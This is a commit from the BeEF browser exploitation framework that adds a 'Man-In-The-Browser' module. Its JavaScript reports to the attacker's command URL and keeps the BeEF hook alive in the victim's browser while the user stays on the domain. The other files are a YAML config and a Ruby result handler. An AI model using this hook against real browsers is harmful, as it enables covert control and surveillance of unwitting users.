(Fixes issue 450) Ported MITB code from h.ackack.net!

git-svn-id: https://beef.googlecode.com/svn/trunk@1371 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
avlidienbrunn@gmail.com
2011-10-19 08:06:36 +00:00
parent 409d320778
commit f3cd6aaeb5
7 changed files with 250 additions and 1 deletions

View File

@@ -0,0 +1,29 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
beef.execute(function() {
try{
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Browser hooked.");
beef.mitb.init("<%= @command_url %>", <%= @command_id %>);
var MITBload = setInterval(function(){
if(beef.pageIsLoaded){
clearInterval(MITBload);
beef.mitb.hook();
}
}, 100);
}catch(e){
beef.net.send("<%= @command_url %>", <%= @command_id %>, "Failed to hook browser: " + e.message);
}
});

View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
man_in_the_browser:
enable: true
category: "Browser"
name: "Man-In-The-Browser"
description: "This module will use a Man-In-The-Browser attack to ensure that the BeEF hook will stay until the user leaves the domain."
authors: ["mathias"]
target:
working: ["ALL"]
not_working: ["IE"]

View File

@@ -0,0 +1,23 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Man_in_the_browser < BeEF::Core::Command
def post_execute
save({'result' => @datastore['result']})
end
end